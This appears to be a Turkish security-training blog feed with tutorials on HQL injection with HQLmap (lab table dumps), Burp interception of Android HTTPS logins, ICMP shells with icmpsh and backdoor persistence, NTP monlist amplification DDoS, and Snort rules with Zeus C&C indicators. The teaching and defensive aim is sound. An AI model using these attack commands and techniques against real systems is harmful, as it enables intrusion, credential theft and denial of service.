Quantcast
Channel: Bilgi Güvenliği AKADEMİSİ
Viewing all 331 articles
Browse latest View live

HQL Injection Saldırılarında HQLmap Kullanımı

$
0
0
Hibernate nedir ?

Hibernate verilerin saklanması, güncellenmesi, silinmesi gibi işlemleri nesne tabanlı modele göre kolaylaştırmak için kullanılan bir java teknolojisidir. Nesne tabanlı alan modelini geleneksel ilişkisel veritabanına çevirmeye yarar (ORM).  .Net versiyonu için de NHibernate kullanılır.

Hibernate Query Language (HQL)

Şekilde de görüldüğü gibi, oluşturulan HQL sorgusu direk olarak veritabanına gönderilmez. İlk olarak Hibernate Engine tarafından parse edilir, yorumlanır ve daha sonra SQL sorgusuna çevirilir. Bu bilgi neden önemlidir ? Çünkü pentest çalışmalarında alacağımız hataların veritabanı ve hibernate engine olmak üzere iki kaynaktan gelebilecek olduğunu bilmek zorundayız.
HQL Injection saldırılarının en zorlayıcı tarafı, SQLi ‘den alışkın olduğumuz pentestlerde işimizi kolaylaştıran bazı veritabanı özelliklerini kullanamıyor olmamızdır. Bunun nedeni üstte de belirttiğim gibi girilen sorguların hibernate engine tarafından parse edilip, daha sonra yorumlanarak SQL sorugusuna çevirilmesidir.

Bu sebeplerden dolayı manuel olarak HQL Injection testleri yapmak oldukça zahmetli bir hal alabilmektedir. Bunun için HQL Injection saldırılarını otomatize eden HQLmap aracı yazılmıştır. HQL Injection zaafiyetlerinin nasıl tesbit edilebileceği hakkında biraz temel bilgi verip, HQLmap kullanımına geçelim.

HQL Injection Zaafiyet Tespiti

Örnek olarak aşağıdaki gibi bir arama yaptığımızı düşünelim,


Screen Shot 2014-02-25 at 13.46.43.png
q parametresi ile alınan değer veritabanında kontrol edilip, uygun olan kayıtlar kullanıcıya sunulmaktadır. q parametresine ‘ göndererek neler olacağına bakalım ;

Screen Shot 2014-02-25 at 13.53.08.png
resimde görüldüğü gibi bir hata ile karşılaştık. Aldığımız hata q parametresi ile gelen değerin kontrol edilmeden sorguya eklendiği konusunda bize bilgi veriyor. HQL Injection zaafiyeti olduğu kanısına varabiliriz.

Daha emin olmak için SQLi’deki gibi bütün verileri çekmeye çalışalım ;


son.png
görüldüğü gibi sorugumuz sorunsuz çalıştı ve tüm verileri görüntülemiş olduk.

HQLmap

HQLmap, HQL Injection saldırılarını otomatize etmek için python dili ile yazılmış bir araçtır. Bruteforce ile tablo, kolon bulma ve bunları dump etme özellikleri vardır.

https://github.com/PaulSec/HQLmap adresinden araca ulaşılabilir.

Kullanımı ;

# python HQLmap.py

şeklinde parametresiz çalıştırdığınızda kullanımı hakkında bilgilere ulaşabilirsiniz.
Usage: HQLmap.py [options]

Options:
 -h, --help            show this help message and exit
 --url=URL             qURL to pentest
 --cookie=COOKIE       Cookie to test it
 --param=PARAM         Param to test
 --postdata=POSTDATA   Postdata (POST Method)  
 --message=BLIND_HQLI_MESSAGE
                       Message appearing while Blind HQLi
 --tables              Tries to gather as much tables as possible (With
                       Bruteforce)
 --T=TABLE             Name of the table you want to get
 --table_name_file=FILE_TABLE
                       DB file for name of tables
 --columns             Tries to gather as much columns as possible (With
                       Bruteforce)
 --C=COLUMN            Name of the column you want to get
 --column_name_file=FILE_COLUMN
                       DB file for name of columns
 --check               Check if host is vulnerable
 --user                Tries to get user() from dbms
 --count               Get count of specified table(s)
 --dump                Dump specified table(s) / column(s)
 --results             Enumerate results after session
 --verbose             Verbose mode
# python HQLmap.py --url="http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search" --param=q --cookie="JSESSIONID=08B82EF8B0007DBF07513A79845E722C" --check
--url parametresi ile test edilecek adres, --param parametresi ile test edilecek parametre, --cookie parametresi ile Cookie bilgileri verilmiş ve --chech parametresi ile adresinden HQLi zaafiyeti içerip, içermediği test edilmesi istenmiştir.
Çıktı : Host seems vulnerable.
# python HQLmap.py --url="http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search" --param=q --cookie="JSESSIONID=08B82EF8B0007DBF07513A79845E722C" --tables
--tables parametresi verilerek, tablo isimlerinin bulunması istenmiştir. HQLmap tablo isimlerini db/tables.db dosyası içerisindeki olası tablo isimlerini deneyerek bulmaya çalışır.
Çıktı :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
# python HQLmap.py --url="http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search" --param=q --cookie="JSESSIONID=08B82EF8B0007DBF07513A79845E722C" --tables --columns
--columns parametresi ile tabloların kolonları ile bulunması istenmiştir. HQLmap kolon bulurken de db/columns.db içerisindeki olası kolon isimlerini deneyerek bulmaya çalışır.
Çıktı :
[!] Table User has been found.
[!] Table Task has been found.
[-] Table News does not exist.
[-] Table Test does not exist.
[!] Column Id has been found in table Task
[-] Column username in Task does not exist.
[-] Column password in Task does not exist.
[!] Column Status has been found in table Task
[-] Column user_id in Task does not exist.
# python HQLmap.py --url="http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search" --param=q --cookie="JSESSIONID=08B82EF8B0007DBF07513A79845E722C" --T=User --columns
--T parametresi ile User tablosu seçildi ve seçilen tablonun kolonları db/columns.db dosyasındaki olası kolon isimleri denenerek bulunmaya çalışıldı.
Çıktı :
[!] Table User has been found.
[!] Column Id has been found in table User
[!] Column Username has been found in table User
[!] Column Password has been found in table User
[-] Column status in User does not exist.
[-] Column user_id in User does not exist.
[!] Column Email has been found in table User
[!] Column Firstname has been found in table User
[!] Column Lastname has been found in table User
# python HQLmap.py --url="http://192.168.40.131:9110/ropeytasks/task/search?q=bga&search=Search" --param=q --cookie="JSESSIONID=08B82EF8B0007DBF07513A79845E722C" --T=User --columns --dump
--dump parametresi ile --T parametresi ile belirtilmiş tablo üzerindeki kolonların içinde bulunan veriler çelilmiştir. İstenirse --C paramtresi ile istenilen kolon belirtilerek sadece o kolonun verilerinin çekilmesi de sağlanabilir.
Çıktı :
[User]
 [Id]
    - 1
    - 2
    - 3
[User]
 [Username]
    - bob
    - alice
    - admin
[User]
 [Password]
    - password
    - password
    - password
[User]
 [Email]
    - bob@continuumsecurity.net
    - alice@continuumsecurity.net
    - admin@continuumsecurity.net
[User]
 [Firstname]
    - Robert
    - Alice
    - Administrator
[User]
 [Lastname]
    - McBride
    - O'Reilly
    - Reynolds

HQL Injection Saldırılarından Korunma
Hatalı kullanım ;
List results = session.createQuery("from Orders as orders where orders.id = " + currentOrder.getId()).list();
Kullanıcıdan alınan veriler mutlaka kontrol edilmeli, sorgu ondan sonra oluşturulmalıdır.
Doğru kullanım ;
Query hqlQuery = session.createQuery("from Orders as orders where orders.id = ?");
List results = hqlQuery.setString(0, "123-ADB-567-QTWYTFDL").list();

Yararlanılan Kaynaklar ;

Fatih ERSINADIM

Mobil Güvenlik Testleri icin Uygulama Ortamının Kurulumu (Android)

$
0
0
Mobil uygulama güvenlik testlerinin en zor aşamalarıdan biri belki de test ortamının kurulmasıdır. Uygulamaların doğru çalışması, içi içe kurulan sanal makinaların performansı hep sıkıntı konusu olmuştur. Genymotion (Android VM) bu konuda işleri oldukça basitleştirmiştir. 

Hızlı ve stabil olması, dosyaların tut sürükle ile sanal androide aktarılabilmesi uygulamanın en büyük artılarıdır. Tabiki bu performansının altında yatan sebep x86 mimarisi üzerine kurulmuş olmasıdır. Bu, ARM mimarisiyle ilgili bazı problemleri ortaya çıkarsada yazının devamında konuyla ilgili bir çözüm sunulmuştur. Bu yazıda Genymotion uygulamasının kurulumundan ve kısaca kullanıma hazır hale getirilmesinden bahsedilecektir.







Kurulum öncesi


Kurulum ortamı olarak Mac OS X kullanılmıştır. Proxy aracı olarak Burp Suite Free kullanılmıştır. Burp Suite yerine OWASP’ın ZAP uygulaması da kullanılabilir.

Eğer kurulum Windowsüzerinde yapılacaksa aşağıda verilen Genymotion bağlantısında hem Virtualbox hem Genymotion içeren bir kurulum dosyası mevcuttur. Bu dosya kullanılarak hiç bir özel ayar yapmaya gerek kalmadan “Next” diyerek kurulum tamamlanabilir. Her ne kadar kurulum Mac OS X üzerinde yapılsada Genymotion’ın kullanımı Windows üzerinde de aynıdır.

Genymotion bu linkten sisteme göre indirilir. (İndirmek için ücretsiz olarak üye olmak gerekli)

Virtualbox indirilir ve kurulur.

Burp Suite Free kurulu değilse indirilebilir ve kurulum rehberi takip edilebilir.

OWASP ZAP kullanılacaksa aynı şekilde indirilebilir ve  kurulum videosundan yararlanılabilir.



Kurulum


Virtualbox kurulduktan sonra, Genymotion kurulum dosyasına tıklanır ve uygulamalar diğer Mac uygulama kurulumlarında olduğu gibi Applications klasörüne sürükleyip bırakılır. 1.png
Biri grafik arayüzü olan biri shell olan 2 tane Genymotion uygulaması kurulur.

Uygulama çalıştırıldığında şekildeki henüz sanal bir makinenin kurulmadığından bahsediliyor. 2.png
Bu pencerede Yes diyoruz.3.png

Sanal android makinesini indirebilmek için burada Genymotion’ı indirirken oluşturduğumuz üyelikle giriş yapılması gerekiyor. Connect diyoruz ve kullanıcı adı/parolayla giriş yapıyoruz.4 login.png

Burada kurmak istediğimiz sanal android cihazını seçiyoruz ve Next diyoruz. Seçtiğimiz sanal makinenin adını değiştirebileceğimiz ve özelliklerini görüntüleyebileceğimiz bir sayfa çıkıyor. Tamamsa Next diyoruz ve Genymotion indirmeye başlıyor. 6 download.png

İndirme işlemi bittikten sonra sanal makinede hazır hale gelmiş oluyor. Settings menüsünden sanal makina ve Genymotion ile ilgili ayarları yapmak mümkün. Genymotion halihazırda ADB yüklü geliyor. Ancak ADB sekmesi altında, sistemde ADB yüklü ise yolunu gösterip kullanılabilir. Ayarlamaları yaptıktan sonra Play tuşuna basılır ve yaklaşık 15 saniye sonra sanal Android makinesi kullanıma hazır hale geliyor. Burada HTC One 4.3 sanal Android imajı kurulmuştur.



Bundan sonra mobil uygulama testlerinde en önemli konulardan biri olan uygulamanın kurmaya çalıştığı bağlantılarda araya girme konusuna giriş yapılabilir.
Burp Suite Free uygulaması kullanılmıştır. Burada amaç sanal Androiddeki trafiği host makinada(Mac OS X) Burp Suite’in çalıştığı porttan geçirmektir.

Mobil uygulama bağlantılarını host makine üzerinden geçirmek ve yakalamak için sanal Android’de Settings > Wi-Fi’ya girilir. WiredSSID üzerinde basılı tutulur. Çıkan seçeneklerden “Modify network” ardındanda “Show advanced options” denilir ve Proxy ayarları değiştirilir. Burada IP olarak asıl makina(Host)nın IPsi girilir. Port olarak tercihe göre değişmekle beraber Burp’un öntanımlı portu olan 8080 kullanılabilir.
11 proxy ayarları.png

Burp Suite’te proxy eklemek için Burp Suite’i açıp(Java yüklü bilgisayarlarda çift tıklamayla tüm işletim sistemlerinde çalışır.) aşağıdaki ekran görüntüsündeki gibi ayarları değiştirmek gerekir. İzlenecek sıra Proxy > Options > Binding şeklindedir.
‘Bind to port’ için Android’de girilen port ve ‘Bind to adrress’ için ‘Specific address’ ve IP olarak Android’de girilen host IP’si girilir.13 burp proxy.png

Proxy aktif hale getirildiğinde HTTP bağlantılarının yakalandığı görülecektir.

HTTPS bağlantılarında araya girmek için Burp Suite’in sertifikasının da indirilmesi gerekir. Eğer Burp zaten kuruluysa Firefox üzerinden Advanced > Certificates > View Certifacates sırası izlenir ve kurulu sertifikalar arasından PortSwigger CA bulunup seçilir. Export ile dışarıya aktarılır. Aktarırken uzantının .cer olduğuna dikkat etmek gerekir. Sonra bu sertifika tut sürükle ile direk sanal android üzerinde bırakılır. Eğer Burp kurulu değilse yazının başında verilen link takip edilip kurulum tamamlanmalıdır. O işlem sırasında elde edilen sertifika direk olarak sanal Android’e sürüklenip bırakılır. 15 cert export.png

Sertifika, bu durumda sanal Android üzerinde File Manager Downloads klasörü altında yer
alır. Sertifikayı yüklemek için “Settings > Security > Install from SD card” yolu izlenir.
18 install cert.png

Android otomatik olarak sertifikayı ekran görüntüsündeki gibi bulacaktır. OK denir ve böylece sertifika kurulumuda başarılıyla tamamlanmıştır.

19 install cert2.png


Artık HTTPS bağlantıları içinde araya girilebilir.  Örnek bir uygulama Facebook uygulaması üzerinde yapılmıştır. Bunun için harici indirilen facebook.apk dosyası sanal android üzerine kopyalanmıştır. Burada INSTALL_FAILED_CPU_ABI_INCOMPATIBLE gibi bir hata alınabilir.

Şekildeki gibi Facebook kullanıcı adı/parola bilgisi girilmiştir.



Aşağıda görülebileceği gibi araya girilmiştir. Kullanıcı adı/parola bilgisi açık bir şekilde görülebilir.

INSTALL_FAILED_CPU_ABI_INCOMPATIBLE Hatası

Genymotion yazının başında da bahsedildiği gibi x86 mimarisi üzerine geliştirilmiştir. Geliştiricileri bir süre önce ARM Translation ve Google Play Apps’i kaldırdılar. Bu nedenle sadece ARM üzerinde çalışan uygulamaları kurarken INSTALL_FAILED_CPU_ABI_INCOMPATIBLE hatası alınabilir. Bunun için aşağıdaki adımlar uygulanarak bu sorunlar aşılabilir.

  1. Önce ARM Translation v1.1 ve sahip olduğunuz Android versiyonuna uyumlu Google Apps buradan indirilmelidir.(HTC One 4.2.2 ve Galaxy Nexus 4.3 sürümleri için çalışan sürüm gapps-jb-20130813-signed.zip dosyasıdır.)
  2. İndirilen ARM Translation zip dosyası sanal Android üzerine sürüklenip bırakılır ve flash ile ilgili çıkan uyarıya OK denir.arm install.png

  1. Sanal Android reboot edilir.
Şimdi Facebook uygulaması kurulmaya çalışıldığında başarılı olduğu görülebilir.
Bu 3 adım bu hatadan kurtulmak için yeterlidir. 4. ve 5. adımlarda, ikinci indirilen zip dosyası ve onun kurulması Google uygulamaları ile ilgilidir.



  1. Android versiyonuna göre indirilen ikinci zip dosyası sanal Android’e kopyalanır. Bu kopyalama işleminde de flash ile ilgili uyarı gelecektir OK denir. Ardından bazı Google uygulamalarıyla ilgili hatalar verebilir(Beklenen bir şey).
  2. Sanal Android tekrar reboot edilir.
Android’de Google uygulamalarının kurulduğu görülebilir.



Ipuçları

  • Mac OS X üzerinden(diğerlerinde de olabilir) sanal Android’e klavyedeki bazı karakterler yazmayabilir(Özellikle @ karakteri). Bunun için sanal Android’de anasayfada gelen Genymotion Configuration uygulamasına tıklayarak klavye tercihini Virtual keyboard seçebilirsiniz.(Sanal makine ilk kurulduğunda Virtual keyboard aktiftir.)
İkinci bir seçenek olarak bu işlemi sanal makine kapalı iken


  • Androidi kapatmak için direk olarak kırmızı çarpıya basmak yerine daha meşakkatli ama sağlıklı bir yöntem olan, sağ alt köşedeki küçük oka tıklayıp ekran görüntüsündeki gibi güç simgesine uzun basarak Power off diyebilirsiniz.




Referanslar:

Google Apps(zip dosyaları)


Ender AKBAŞ < ender.akbas@bga.com.tr >

Sızma Testlerinde ICMP Üzerinden Shell Alma

$
0
0
Sızma testlerinde sıklıkla güvenlik cihazlarına(firewall,ips,waf vs.) veya antivirüs uygulamalarına rastlanmaktadır. Neredeyse bu tarz engeller ile karşılaşılmayan sistem yok denilebilir. Karşılaşılan güvenlik cihazlarının engellemelerini aşmak için çeşitli yöntemler kullanılabilinir. Genellikle tünelleme yöntemleri kullanılarak ilgili durumlar aşılmaktadır. DNS ve SSH tünelleme en sık başvurulan tünelleme yöntemidir.
Bu yazımızda  pek tercih edilmeyen fakat oldukça önemli olarak gördüğüm ICMP protokolü üzerinden hedef sistemlerde nasıl shell alınabileceğine değindim. Inbound ve outgoing erişimlerde çeşitli port ve servislerin kapalı olabileceği bir yerel ağda ICMP üzerinden shell alma oldukça önem arz etmektedir. İlgili işlem için icmp protokolünün açık olması ve hedefe ping atılabiliyor olması hedef sistem üzerinden shell almak için yeterli olacaktır. Kullanılan icmpsh uygulaması aşağıdaki bağlantıdan indirilebilir.

Download:
https://github.com/inquisb/icmpsh

Shell almak istediğimiz kurbana ait sistem aşağıdaki IP adresine sahiptir:



Shell almak isteyen saldırgan icmpsh'ın bulunduğu dizinde ./run.sh 'ı çalıştırılıp kurbana ait IP bilgisi girilir.
 
Shell almak istediğimiz IP adresini girdikten sonra aşağıdaki gibi kurban tarafında bir bağlantının gelmesi için dinleme modunda beklenilir.

 
Erişimin sağlanmak istenildiği (kurban) pc üzerinde  aşağıdaki komut çalıştırılır.
 
Böylece erişim sağlanılmak istenilen sistem  ile erişim sağlamak isteyen (saldırgan) arasında icmp haberleşme kanalımız kurulmuş olur.
İlgili durum regedit dosyasına bazı kayıtlar eklenerek kalıcı bir backdoor olarakta kullanılabilir. Saldırganlar bu methodu kendi bakış açılarına göre kullanarak ileri seviye saldırılarda gerçekleştirebilirler.

Özer GÖKER

NTP Servisi Kullanarak Gerçekleştirilen Amplification DDoS Saldırıları

$
0
0
DDoS saldırıları her geçen gün önemi artırıyor ve yeni yeni yöntemler, teknikler keşfediliyor. Son zamanlarda kullanılan yöntemler standart araç tabanlı yöntemlerden oldukça farklı, arka planı düşünülmüş, tasarlanmış ve yüksek boyutta olmaktadır. Yeni olarak nitelendirilse de teknik olarak daha önceden bilinen, teorik olarak dökümante edilmiş fakat pratiğini görmediğimiz tipte saldırılar bunlar. 

2014 yılında NTP servisindeki monlist özelliğini istismar eden Amplification DDoS saldırısı 400 Gbps(2013 yılı Türkiye internet çıkışına yakın) civarında idi ve bu rakam dünyadaki en ciddi ddos saldırısı olarak tarihe geçmiştir.
Amplification  DDoS Saldırıları


Standart DDoS saldırılarında amaç olabildiğince çok fazla sayıda sistem üzerinden hedef sistemlere belirli sayıda paket gönderimi yaparak devre dışı kalmasını sağlamaktır. Amplification tipi saldırılarında ise trafik kapasitesi yüksek aracı sistemler kullanarak saldırgan sahip olduğu bandwidth miktarından çok daha fazlasını hedef sisteme yönlendirir.


İlk olarak Smurf olarak adlandırılan bir ddos saldırısında kullanılan bu yöntem hızlı bir şekilde alınan önlemlerle internet dünyasının gündemini uzunca bir süre meşgul etmemişti. Tekrar 2009 yılında DNS kullanılarak karşımıza çıktı, 2013 yılında ise DNS kullanılarak o zamana kadar ki en büyük DDoS saldırısı (Yaklaşık 300 Gbps) gerçekleştrildi. 2014 yılında NTP ile birlikte 400 Gbps’e ulaşmış oldu. Bu rakkamlar ciddi koruması ve dağıtık altyapısı olmayan erişim sağlayıcılar için oldukca tehlikeli ve önlemesi bir o kadar da zordur.


Smurf saldırısı broadcast’e gönderilen bir adet ICMP paketine karşılık ilgili ağda açık olan tüm sistemlerin cevap vermesi mantığıyla çalışır. Böylece hedef broadcast adresinde 100 tane sistem açıkca bir paket ile 100 paketlik cevap alınabilir. Gönderilen paketlerin kaynak ip adresi ddos yapılmak istenen hedef olarak verilirse saldırgan 10 Mbps trafikle hedefe 1 Gpbs saldırı trafiği ürtebilir. Burada saldırıya yapan kaynak adresleri ilgili ağda bulunan ve broadcast ICMP paketlerine cevap dönen sıradan sistemler olacaktır.


Broadcast’e gelen ICMP isteklerine cevap vermeyecek şekilde yapılındırılmasıyla bu zafiyet hızlıca kapatılmıştır.


Linux sistemlerin icmp paketlerine (broadcast) cevap verip vermediği aşağıdaki komutla öğrenilebilir.


sysctl net.ipv4.icmp_echo_ignore_broadcasts



komutun çıktısının aşağıdaki gibi olması gerekir.
net.ipv4.icmp_echo_ignore_broadcasts = 1


Smurf ICMP kullandığı için ve icmp genellikle yardımcı protokol görevine sahip olduğu için ICMP’nin kapatılması ile Smurf ve benzeri bir çok atak engellenmiş oldu. Amplification saldırıları ICMP’nin yanında NTP, SNMP ve DNS protokolleri üzerinden de gerçekleştirilebilir. Son zamanlarda daha çok DNS ve NTP kullanılarak gerçekleştirildiğini görüyoruz.

NTP üzerinden gerçekleştirilen amplification ddos saldırıları
NTP, zaman senkronize protokolüdür. Bilişim sistemlerinin merkezi olarak zaman bilgilerini alıp güncelleyeceği bir servistir. UDP/123 portundan çalışır ve herhangi bir kimlik doğrulama aşaması bulunmamaktadır.
Öncelikle belirtmek gerekir ki bir protokol UDP tabanlı ise onun guvenliğini sağlamak icin protokolden iki kat daha fazla uygulama uygulama geliştiricisine iş düşer.


Bir NTP sunucusunun durumunu öğrenmek için aşağıdaki komut yeterli olacaktır.
[root@s-guard19 ~]# ntpq -pn
    remote           refid      st t when poll reach   delay   offset  jitter
==============================================================================
-208.53.158.34   164.244.221.197  2 u  266  512  377   20.715    8.447   0.091
+50.116.55.65    200.98.196.212   2 u  247  512  377    7.651   -1.170   0.225
+129.250.35.250  209.51.161.238   2 u  269  512  377    1.025   -0.229   0.096
*10.0.77.54      172.18.1.12      3 u  437 1024  377    0.135    0.568   0.522



NTP Monlist özelliği ve istismarı
ntp sunucular, kendine daha önce sorgu yapan ip adreslerini bellekte tutar ve bunu bir sorgu ile öğrenmemize fırsat tanır. Aşağıdaki komut ile o NTP sunucuyu kullanan son 600 ip adresi alınabilir.



[root@s-guard19 ~]# ntpdc -n -c monlist 50.22.202.163|more
remote address          port local address      count m ver code avgint  lstint
===============================================================================
50.22.202.163          58609 50.22.202.163          2 7 2      0     32       0
184.45.66.119             80 50.22.202.163         69 7 2      0      7       0
83.250.130.244            80 50.22.202.163          1 7 2      0      0       0
199.255.209.211         6005 50.22.202.163       4914 7 2      0      4       0
89.108.86.169             21 50.22.202.163        736 7 2      0      4       0
83.108.22.62              80 50.22.202.163         76 7 2      0      4       1
141.0.23.147              80 50.22.202.163        140 7 2      0      4       2
83.98.143.20              80 50.22.202.163        142 7 2      0      4       2
76.76.4.146               80 50.22.202.163       2577 7 2      0      4       2
85.153.46.92              80 50.22.202.163       1383 7 2      0      3       2
5.39.114.89               53 50.22.202.163       4876 7 2      0      2       3
139.216.201.12            80 50.22.202.163         22 7 2      0    269       3
207.244.74.132          6005 50.22.202.163         97 7 2      0      4       3
178.235.0.18              80 50.22.202.163         38 7 2      0      7       4
184.173.86.203            80 50.22.202.163        105 7 2      0     80       8
31.169.77.59           35157 50.22.202.163          9 7 2      0    154      22
...



Burada gönderilen isteğin (NTP isteği) boyutu incelenirse yaklaşık olarak 250 Byte civarında olduğu gözükecektir. Bu pakete dönen cevapların toplamı (bir adet isteğe karşı toplamda 10-15 cevap dönmektedir) 7500 Byte’a yakındır. Buradan bir istekle hedef sistem üzerinden 30 kat daha fazla trafik üretebileceğimizi görebiliriz.
NTP, UDP tabanlı olduğu için gönderilecek isteklerde kaynak ip adresi olarak ddos saldırısı gerçekleştirilmek istenen hedef verilirse saldırgan 10 Mbps ile 300 Mbps trafik üretebilir. Bunun gibi 100lerce açık NTP sunucusu bularak


Monlist özelliği aktif sistemlerin tespiti
Nmap’in  “ntp monlist” scripti kullanarak bir ağdaki monlist özelliği aktif olan NTP sunucuları tespit edilebilir.


nmap -sU -pU:123 -Pn -n --script=ntp-monlist 192.168.0.0/24



Örnek bir çıktı aşağıdaki gibi olacaktır.


[root@s-guard19 /usr/local/share/nmap/scripts]# nmap -sU -pU:123 -Pn -n --script=ntp-monlist localhost


Starting Nmap 5.35DC1 ( http://nmap.org ) at 2014-03-09 10:10 CDT
Nmap scan report for localhost (127.0.0.1)
Host is up (0.00010s latency).
PORT    STATE SERVICE
123/udp open  ntp
| ntp-monlist:  
|   Target is synchronised with 129.250.35.251
|   Alternative Target Interfaces:
|       10.32.83.4      50.22.202.133   50.22.202.163   
|   Private Servers (1)
|       10.0.77.54      
|   Public Servers (3)
|       38.229.71.1     50.116.38.157   129.250.35.251  
|   Other Associations (14)
|       127.0.0.1 (You?) seen 3 times. last tx was unicast v2 mode 7
|       84.24.85.156 seen 11 times. last tx was unicast v2 mode 7
|       94.242.255.62 seen 10 times. last tx was unicast v2 mode 7
|       199.255.209.211 seen 11 times. last tx was unicast v2 mode 7
|       141.0.23.147 seen 11 times. last tx was unicast v2 mode 7
|       130.193.170.56 seen 10 times. last tx was unicast v2 mode 7
|       178.235.0.18 seen 10 times. last tx was unicast v2 mode 7
|       84.248.95.88 seen 21 times. last tx was unicast v2 mode 7
|       86.141.107.15 seen 11 times. last tx was unicast v2 mode 7
|       76.76.4.146 seen 10 times. last tx was unicast v2 mode 7
|       31.220.4.151 seen 10 times. last tx was unicast v2 mode 7
|       106.219.29.214 seen 10 times. last tx was unicast v2 mode 7
|       83.98.143.20 seen 9 times. last tx was unicast v2 mode 7
|_      50.90.225.202 seen 4 times. last tx was unicast v2 mode 7


Nmap done: 1 IP address (1 host up) scanned in 1.17 seconds






Korunma Yöntemleri


En temel ve önemli korunma yöntemi NTP sunucusu açık olması gerekmiyorsa servisin kapatılması veya güvenlik duvarı arkasında ise portun Firewalldan kapatılmasıdır.



NTP sunucu olarak hizmet verilmesi gerekiyorsa ilk adımdaki öneriler işe yaramayacaktır. Bunun icin NTP yapılandırma dosyasına gidip “disable monitor” satırının eklenmesi ve ntp servisinin yeniden başlatılması yeterli olacaktır.


[root@s-guard19 ~]# /etc/rc.d/ntpd restart
Stopping ntpd.
Starting ntpd.
[root@s-guard19 ~]# ntpdc -n -c monlist 50.22.202.163
***Server reports data not found


İnceleme amaçlı örnek bir monlist paket dosyasına www.bga.com.tr/ntp.pcap adresinden erişim sağlanabilir.


Snort Kullanarak Zararlı Yazılım Tespiti

$
0
0

Zararlı yazılımları ve aktivitelerini ağ seviyesinde tespit edebilmek kurumların bilgi güvenliği ihlallerine karşı atması gereken önemli adımlardan biridir. Mevcut IDS/IPS'leri yeni tehtitlere karşı güncel tutabilmek veya özel senaryolar için uygun tanımlamaları yapabilmek bu konuda etkin bir savunma için gereklidir.
Yazıda, bir zararlı yazılımın ağ trafiğinin tanınmasını sağlayacak kendine has özelliklerini tespit edip bu özellikleri yakalayacak Snort kuralları yazılarak, örnek yöntemler ve izlenebilecek yollar açıklanmıştır.
Örnek senaryoda HTTP ve SMTP trafiği oluşturan bir çeşit Zeus türevi bir sanal makineye bulaştırılıp bu makinenin internete çıktığı ağ arayüzü Wireshark ve Snort ile dinlenir. Elde edilen ağ verisine göre Snort kuralları yazılarak zararlı tespit edilmeye çalışılır.
  • Zeus türevinin SHA256 değeri: 689ef03339c961f6c63b77f902de1bb022f83c2c89a1f63999edf720cfa2081b

Örnekte kullanılan lab yapısı şu şekildedir. Windows XP internete NAT ile çıkacak şekilde ayarlanmış tek ağ arayüzü bulunan bir sanal makinede kuruludur. Snort'un kurulu olduğu SecurityOnion dağıtımı ise, bir tanesi Windows XP ile aynı sanal ağa bağlı iki ağ arayüzü bulunan başka bir sanal makineye kurulmuştur. Snort, ortak arayüzü dinleyecek şekilde ayarlanmıştır. Diğer arayüz ise bu makineye yönetim amaçlı erişim için ayrılmıştır.

Örnek zararlının ağ verisi incelendiğinde sırasıyla şu işlemleri yaptığı görülüyor. (Farklı çalıştırmalarda sonuçlar değişiklik gösterebilir)

  • “http://mediafire.com/?ucc9c99b4o1b94i” adresinden b.exe isimli bir dosya indiriyor.
  • srv5050.co (212.227.141.241) adresininin 5050 numaralı portuna IRC bağlantısı kurup bir takım kanallara bağlanıyor.
  • “http://mediafire.com/?kf2lhk53bpfem63” adresinden go.exe isimli başka bir dosya indiriyor.
  • http://karmachemie.de/rec.exe” (213.165.86.175) adresinden rec.exe isimli bir dosya daha indiriyor.
  • “http://jasperrussell.com/324.txt” (74.208.185.227) adresinden 324.txt isimli bir dosya indiriyor. Bu dosya “yahoo.com” uzantılı 28000 farklı mail adresi içeriyor.

  • Son olarak listedeki mail adreslerine örnekteki gibi bir mail gönderiyor.

From: Edward09@4251.com
To: sadiabuttar@yahoo.com
Subject: Pharmacy Express
Date: Sun, 27 Jan 2013 23:39:52 -0800
Mime-Version: 1.0
Content-Type: text/html; charset=ISO-8859-1
Content-Transfer-Encoding: quoted-printable
Message-ID: <88397533550593.79168.qmail@hordzd>


Zararlının çalışma anında aktif olmayan farklı özellikleri de vardır fakat buradaki amaç zararlıyı tamamen analiz etmek değil örnek ağ verisini kullanarak bu aktiviteleri tanımlayacak kurallar yazmaktır.


İlk adımda eldeki veriler kullanılarak sadece zararlının kullandığı IP adresleri ve/veya alanadları belirlenip, bunları tanımlayacak kurallar yazılır. Veriler değerlendirildiğinde, mediafire veya yahoo’ya ait adresler için kurallar yazmanın makul olmayacağı ancak srv5050.co, karmachemie.de ve jasperrussell.com adresleri için yazılabileceği görülmektedir. Bu adresler doğrudan zararlıyı yayanlar tarafından alınmış veya sonradan ele geçirilmiş sistemler olabilirler. Her iki durumda da kullanıcılar için tehlike arz etmektedirler. Örneğin srv5050.co adresine yapılacak DNS sorgularını yakalayacak bir kural şu şekilde yazılabilir.


alert udp any any -> any 53 (msg:"Zeus variant DNS query"; content:"srv5050"; priority:1; sid:9000554; rev:1;)


Doğrudan IP adresine yapılan bağlantıları yakalamak içinse şöyle bir kural kullanılabilir.


alert tcp $HOME_NET any -> 212.227.141.241 any (msg:"Zeus variant C&C IP"; flow:to_server; priority:1; sid:9000555; rev:1;)


Tabii ağ yapısına göre bu kuralları iyileştirmek mümkün.


İlk kural çalıştığında elde edilen Snorby görüntüsü:

 2.png

İkinci adımda söz konusu zararlıyı doğrudan dosya indirme aşamasında tespit etmek için çalıştırılabilir dosyadan elde edilen bir imza kullanılabilir. Zararlının farklı türevlerinin aynı imzayı taşımama ihtimali yüksek olmasından dolayı tek başına çok etkili bir yöntem olmasa da bu yöntem diğerlerinin yanında kullanılabilir.

Öncelikle çalıştırılabilir dosyaya bir imza tanımlanır. Basitçe şu adımlar izlenir.
  • strings zararlı.exe > strings.txt    komutu ile zararlının içerdiği ve okunabilir olan karakter dizileri elde edilip kendine has olabilecek değerler aranır. Örnek zararlıda 440. satırdaki “signing_of_the_Treaty_of_Karlowitz.exe” değeri kullanılabilir.
  • Daha sonra Snort’un ikili dosyanın içeriğinde doğrudan karşılaştırma yapabilmesi için gerekli ikili değerler (onaltılık tabanda ifade edilebilir) elde edilmelidir. Bunun için hexdump -C zararlı.exe > hexdump.txt    komutu verilerek dosyanın hex/ASCII dökümü elde edilir. ASCII bölümden belirlenen string bulunup hex karşılığı belirlenir. Örnekte
    Başlangıç adresi: 0x0000925A
